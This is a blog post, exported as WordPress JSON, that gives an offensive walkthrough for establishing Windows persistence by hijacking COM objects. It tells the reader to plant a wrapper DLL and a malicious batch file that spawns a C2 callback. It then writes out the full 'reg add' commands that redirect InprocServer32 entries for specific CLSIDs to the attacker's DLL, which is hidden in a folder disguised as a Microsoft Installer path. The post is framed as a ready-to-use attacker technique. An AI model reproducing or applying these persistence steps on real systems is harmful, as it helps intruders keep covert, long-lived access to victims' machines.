{"id":214,"date":"2021-11-14T21:40:45","date_gmt":"2021-11-14T21:40:45","guid":{"rendered":"https:\/\/www.davincivirus.com\/?p=214"},"modified":"2021-11-14T21:44:03","modified_gmt":"2021-11-14T21:44:03","slug":"com-object-persistence","status":"publish","type":"post","link":"https:\/\/www.davincivirus.com\/?p=214","title":{"rendered":"COM Object Persistence"},"content":{"rendered":"\n<p>The COM (Component Object Model) provide an interface for object to interact with objects in other processes.  Calls to COM objects are continually occurring within Microsoft Windows. This provides a reliable means for deploying persistence.<\/p>\n\n\n\n<p>Each COM object is defined by a UID; called CLSID.  The CLSIDs referenced in this TTP do not exist by default and are affiliated with the CaccPropServicesClass and MMDeviceEnumerator.  Internet Explorer is one of the applications which frequently calls the CLSIDs.<\/p>\n\n\n\n<h2>Process<\/h2>\n\n\n\n<p>Create a wrapper DLL to be loaded by the OS.&nbsp; (1) A unique value needed to be added for the Mutex.&nbsp; This ensures that the application will only be run once.&nbsp; (2) The program will eventually call &#8220;api-ms-win-downlevel-l1-1-0.bat&#8221;.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" width=\"988\" height=\"525\" src=\"https:\/\/www.davincivirus.com\/wp-content\/uploads\/2021\/11\/comobject_1.png\" alt=\"\" class=\"wp-image-215\" srcset=\"https:\/\/www.davincivirus.com\/wp-content\/uploads\/2021\/11\/comobject_1.png 988w, https:\/\/www.davincivirus.com\/wp-content\/uploads\/2021\/11\/comobject_1-300x159.png 300w, https:\/\/www.davincivirus.com\/wp-content\/uploads\/2021\/11\/comobject_1-768x408.png 768w\" sizes=\"(max-width: 988px) 100vw, 988px\" \/><\/figure>\n\n\n\n<p>Upload a malicious batch file to the directory referenced in the above wrapper DLL.  The file depicted below contains a powershell one-liner to spawn a C2 callback.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" width=\"1024\" height=\"428\" src=\"https:\/\/www.davincivirus.com\/wp-content\/uploads\/2021\/11\/comobject_2-1024x428.png\" alt=\"\" class=\"wp-image-216\" srcset=\"https:\/\/www.davincivirus.com\/wp-content\/uploads\/2021\/11\/comobject_2-1024x428.png 1024w, https:\/\/www.davincivirus.com\/wp-content\/uploads\/2021\/11\/comobject_2-300x125.png 300w, https:\/\/www.davincivirus.com\/wp-content\/uploads\/2021\/11\/comobject_2-768x321.png 768w, https:\/\/www.davincivirus.com\/wp-content\/uploads\/2021\/11\/comobject_2.png 1067w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Run a batch file to add all accompanying folders and registry entries.  The following code snippet contains values needed for both either a 32bit or 64bit machine.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<pre class=\"wp-block-code\" style=\"font-size:10px\"><code>mkdir c:\\users\\&lt;USERNAME&gt;\\appdata\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\nreg add \"HKCU\\Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32\" \/t REG_SZ \/f \/d \"c:\\users\\&lt;USERNAME&gt;\\appdata\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\api-ms-win-downlevel-1x64-l1-1-0._dl\"\nreg add \"HKCU\\Software\\Classes\\CLSID\\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\\InprocServer32\" \/v \"ThreadingModel\" \/t REG_SZ \/f \/d \"Apartment\"\nreg add \"HKCU\\Software\\Classes\\Wow6432Node\\CLSID\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\InprocServer32\" \/t REG_SZ \/f \/d \"c:\\users\\&lt;USERNAME&gt;\\appdata\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\api-ms-win-downlevel-1x86-l1-1-0._dl\"\nreg add \"HKCU\\Software\\Classes\\Wow6432Node\\CLSID\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\InprocServer32\" \/v \"ThreadingModel\" \/t REG_SZ \/f \/d \"Apartment\"<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p>Upload the wrapper DLL into the newly created directory.  <\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<pre class=\"wp-block-code\" style=\"font-size:10px\"><code>c:\\users\\&lt;USERNAME&gt;\\appdata\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\api-ms-win-downlevel-1x86-l1-1-0._dl\nc:\\users\\&lt;USERNAME&gt;\\appdata\\Roaming\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}\\api-ms-win-downlevel-1x64-l1-1-0._dl\n<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The COM (Component Object Model) provide an interface for object to interact with objects in other processes. Calls to COM&hellip; <a class=\"read-more\" href=\"https:\/\/www.davincivirus.com\/?p=214\">Continue Reading<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[10],"tags":[],"_links":{"self":[{"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/posts\/214"}],"collection":[{"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=214"}],"version-history":[{"count":3,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/posts\/214\/revisions"}],"predecessor-version":[{"id":220,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=\/wp\/v2\/posts\/214\/revisions\/220"}],"wp:attachment":[{"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=214"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=214"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.davincivirus.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=214"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}